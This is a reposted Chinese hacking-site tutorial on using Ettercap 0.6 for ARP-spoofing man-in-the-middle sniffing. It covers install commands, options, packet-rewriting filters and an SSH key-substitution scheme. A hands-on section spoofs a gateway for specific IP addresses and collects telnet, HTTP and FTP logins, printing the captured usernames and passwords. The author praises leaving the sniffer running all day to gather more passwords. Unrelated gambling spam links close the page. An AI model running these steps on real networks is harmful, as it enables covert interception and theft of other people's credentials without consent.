歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

Ettercap-交換環境下的嗅探器使用方

來源:轉載 作者:佚名 時間:2008-04-17 TAG: 我要投稿
來源:小澤'Blog
一:安裝

你可以在網上很多地方下載到它的最新版本,比如http://ettercap.sourceforge.net 下載完后,先解壓縮:
[[email protected] root]#tar zxpvf ettercap-0.6.tar.gz
[[email protected]EL root]#cd ettercap-0.6
[[email protected] ettercap-0.6]#./configure&&make&&make install
[[email protected] ettercap-0.6]#make plug-ins
[[email protected] ettercap-0.6]#make plug-ins_install

安裝完成后,輸入"ettercap --help"就可以看見幫助文檔.基本用法是
ettercap [option] [host:port] [host:port] [mac] [mac]


二:功能介紹

嗅探:它有5種工作模式
-a --arpsniff 基于arp的欺騙,分3小種:arpbased,smartcarp和publicarp
-s --sniff 屬于IPBASED,目標可以是任何主機
-m --macsniff 屬于MACBASED

需要說明的是-s -m兩選項帶來的是傳統嗅探模式,分別基于IP地址和MAC地址.也就是說它們必需先把網卡置于混雜,然后才可以正常工作。所以在交換環境下,這兩項會完全失效,-a選項是基于ARP欺騙的,是一種中間人攻擊模型。實質是利用了ARP協議的漏洞,攻擊者分別欺騙了A和B機。讓A機把數據傳給嗅探者,然后再由嗅探機器把數據轉發給B機,A和B卻沒有意識到數據包的中轉過程,這樣我們就可以劫獲數據甚至修改數據包.

下面分別介紹五種用法:
1:ettercap -Nza ip1 ip2 mac1 mac2 (arpbased) 劫獲IP1與IP2間的數據.缺省狀態下
只接收TCP數據包

2: ettercap -Na ip mac (smartcarp) 劫獲此ip與外部所有通訊數據,這種方式比較劇烈,啟動時采用的是ARP風暴,很容易被發現.如果別人在用TCPDUMP監聽,就會看見攻擊者發出的無數的ARP請求,再傻的管理員都明白什么事情發生了.不過由于修改了指定主機的ARP表中關于被監聽主機的MAC地址,還修改了被監聽主機中的那些指定主機的MAC地址,處在完全的中間人工作狀態,這時候你可以作的事情多些,比如更改數據包,截取SSH口令.

3:ettercap -Nza ip mac (publicarp) 同上,不同點在于發送ARP請求的方式,上面采用的是ARP廣播,這里只是對特定主機發送ARP請求.這樣,不易引起管理員的懷疑.不過也帶來了問題,被監聽者自己也會收到這個以廣播方式發送的ARP響應包,于是便會彈出"檢測到IP地址于硬件地址沖突"之類的警告.不過不會影響目標主機正常通信,還有一點就是發往被監聽主機的數據包會送給監聽者,而監聽者發出的數據包卻被直接送往真正的目的主機,沒有經過監聽者的主機.所以我們只能截取不完全的通信內容.

4:ettercap -Nzs IP:80 (ipbased sniffing) 基于IP地址的嗅探。這里僅劫獲目標機器HTTP消息,你也可以指定其他端口,比如23 。如果沒有指定,所有都會被截取

5:ettercap -zm mac1 mac 2 (macbased) 基于MAC的嗅探.只要輸入MAC地址

需要說明的是,4,5兩種方式只適合于共享網絡,在交換網絡下一概無效.MAC地址的獲取很簡單,直接在終端輸入“ettercap -l"就會列出所有在線主機;蛘吣阆萈ING一下某個IP,不管有沒有回應(沒有回應可能是對方開了防火墻),再用ARP命令就可以獲取其MAC地址。如果無法獲取,則此IP不存在 ,這也是探測防火墻后的主機是否在線的一個好方法。

包過濾:由于網絡流量實在很大,當你面對大量記錄數據時,你可能會感到手足無措,你想找到自己需要的數據無疑是一項艱巨的工作,這時侯,我們可以通過—F 選項加載自己的過濾規則,這樣,很多無用的數據就會被忽略,刪節。和注射字符一樣,我們進行包過濾時有必要的話也要注意到正確的TCP序列號和確認序列號等因素。一旦你加載了自己的過濾鏈,你就可以有目的的得到自己最需要的數據了。一條過濾規則看起來就象匯編程序一樣,當然,還是有差距的,用列陣形容可能更確切些。一條過濾規則大概如下:《協議,源端口,目標端口,承載數據》

一個空的搜索字符串總可以成立,比如端口如果沒有指定,所有的都會被記錄下來。只要那些規則匹配,你的過濾鏈就可以工作了.

例如有如下數據流
packet 1: "var1=123&var2=400"
packet 2: "var1=124&var2=420"
packet 3: "var1=125&var2=460"
packet 4: "var1=126&var2=540"
packet 5: "var1=127&var2=700

......
......
我們可以寫如下規則
Search: "var1=[3*]"
Replace: "var1=000"

被過濾后的流就會如下
packet 1: "var1=000&var2=400"
packet 2: "var1=000&var2=420"
packet 3: "var1=000&var2=460"
packet 4: "var1=000&var2=540"
packet 5: "var1=000&var2=700"

如果“var1”后面沒有被指定,默認則“var1=000”

最后是關于ssh的嗅探:

由于傳輸數據被加密,我們必需自己掌握密鑰,具體實現方法如下:我們先截取服務器的明碼密鑰,保存在一邊.自己再生成另一明碼密鑰,用來加密本機與客戶機通訊數據,收到客戶機數據后,自然可以解密,在用服務器明碼密鑰加密,發送給服務器,如此一來,可以偷天換柱.

三:工作參數:

下面列出它的主要選項,雖然它本身有28個,不過限于篇幅,下面只列出一些常用的:
-N --simple 非交互方式,很常用的
-z --silent 靜模式(啟動時不是發送ARP風暴)
-O --passive 被動模式嗅探
-b --broadping 廣播PING ,替代了ARPPING
-S --spoof 用IP1這地址發送ARP請求獲取其他機器信息
-H --hosts 嗅探的目標主機的IP,可以是很多臺
-n --netmask 掃描由輸入子網掩碼確定的子網
-v --version 檢查最新版本
-h --help 幫助文檔

組合選項 (一般和N綁定一齊執行)
-u --udp 嗅探UDP數據,缺省是TCP
-p --plugin 運行指定名字的插件
-l --list 列出所有在線主機ip和mac.實質就是發送255個ARP請求,等待回音,如果你的子網掩碼是255.255.0.0,就會發送255*255個請求,就是ARP風暴吧!
-C --colletc 僅搜集用戶名和對應密碼 Eg:ettetcap -NCzs IP:port 它規則不是很嚴格,所以你IP或PORT不填也沒有關系
-c --check 檢察網絡里有沒其他機器正在嗅探
-x --hexview 用16進制表達數據,這樣,如果你想自己創建一個包的話會比較方便.比如建個文件寫上"\x01\x02\x00\x00\xFF\xFF\x00\ x02here the pass".注意:ettercap不僅可以嗅探包,也可以創建包的.所以你可以更改穿過你機器的任何一段數據
-L --logtofile 記錄所有數據到指定位置
-k --newcert 創建一個新的CERT文件,用以進行HTTPS攻擊
-F --filter 從指定文件列加載過濾規則
-f --fingerprint 指定主機的OS判別,采用的是nmap的數據庫,所以準確性得到保障,不過也有無法辨別的時候.
-t --linktype 判斷自己處在什么樣的網絡環境中,交換或是HUB

實戰篇
210.197.248.192是確定在線的主機,先判斷它操作系統
[[email protected] root]# ettercap -Nf 218.197.248.192
ettercap 0.6.0 (c) 2001 ALoR & NaGA
Your IP: 218.197.248.226 with MAC: 00:00:E8:7B:CA:4E on Iface: eth0
Fingerprinting 218.197.248.192...
Operating System:
Windows NT 5 Beta2 or Beta3
Windows Me or Windows 2000 RC1 through final release
MS Windows2000 Professional RC1/W2K Advance Server Beta3
Windows Millenium Edition v4.90.3000


現在小試牛刀,看看對方正在做什么
[[email protected] root]# ettercap -Nza 218.197.248.192 218.197.248.254 MAC1 MAC2

這里218.197.248.254是網關。這樣,我們就是中間人了,它與外網所有數據都會在我們這里流過。不過被嗅探機器的內網數據交換我們將看不到.下面是截取到的2段典型的HTTP交互數據,從第一段可以看出客戶正在看的網頁,腳本,瀏覽器語言以及客戶的操作系統等信息。從第2段可以看出主機的bannner等等,都是網站的基本資料
GET /pcedu/script/title_edu.js HTTP/1.1.
Accept: */*.
Referer: http://wwwb.pconline.com.cn/pcedu/soft/doc/nt/10308.htm.
Accept-Language: zh-cn.
Accept-Encoding: gzip, deflate.
If-Modified-Since: Mon, 09 Sep 2002 09:18:53 GMT.
If-None-Match: "6f67c-2d5-3d7c677d".
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt).
Host: wwwb.pconline.com.cn.
Connection: Keep-Alive.

HTTP/1.1 200 OK.
Date: Sat, 01 Mar 2003 08:25:37 GMT.
Server: Apache/1.3.20 (Unix) PHP/4.1.2 mod_ssl/2.8.4 OpenSSL/0.9.6a.
X-Powered-By: PHP/4.1.2.
Keep-Alive: timeout=15, max=100.
Connection: Keep-Alive.
Transfer-Encoding: chunked.
Content-Type: text/html.


當然,它還可以記下很多網頁內容,全是HTML源代碼,你可以抓下來,用HTM后綴保存,再用瀏覽器打開,好了,你看到的是什么,別人看到的就是什么。不過它對中文支持不很好,所以別人看見的中文你將無法看到,另一個程序LCRZOEX就很不錯,在中文終端里,可以把所有中文網頁完整抓下來。

一般黑客最感興趣的無非是密碼了,比如下面的組合,h是幫助,它會提供幫助信息
[[email protected] root]# ettercap -NCzs
ettercap 0.6.0 (c) 2001 ALoR & NaGA
Your IP: 218.197.248.226 with MAC: 00:00:E8:7B:CA:4E on Iface: eth0
Resolving 1 hostnames...
Press 'h' for help...
Sniffing (IP based): ANY:0 <--> ANY:0
TCP packets only... (default)
Collecting passwords...
[qQ] - quit
[lL] - log all trafic to file(s)
space - stop/cont sniffing

15:52:51 218.197.248.21:1027 <--> 61.114.4.41:23 telnet
USER: root
PASS: root

15:54:53 218.197.248.46:1041 <--> 61.135.132.99:80 http
USER:dalin
PASS:7895865
http://www.sohu.com/

16:13:14 218.197.248.192:2278 <--> 218.197.249.172:21 ftp
USER: CshjPASS: 123456如果你輸入lL,系統在/ROOT下會自動生成“20030301-Collected-passwords.log",里面會記錄下所有能嗅探到的密碼,看來TELNET,HTTP,FTP密碼都不能逃過,這些記錄簡潔明了,在機器上掛一天,不知道可以記錄多少了:)
【聲明】:黑吧安全網(http://www.650547.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        安徽快3自由的百科 股票配资介绍 最好用的股票分析软件 pk10赛车5码选号技巧 一码一肖100准管家婆 美国股票行情今天大盘 幸运农场8个全中多少钱 黑龙江省p62开奖结果 481泳坛夺金走势图 22选5开奖中奖规则 体彩山东快乐扑克3投注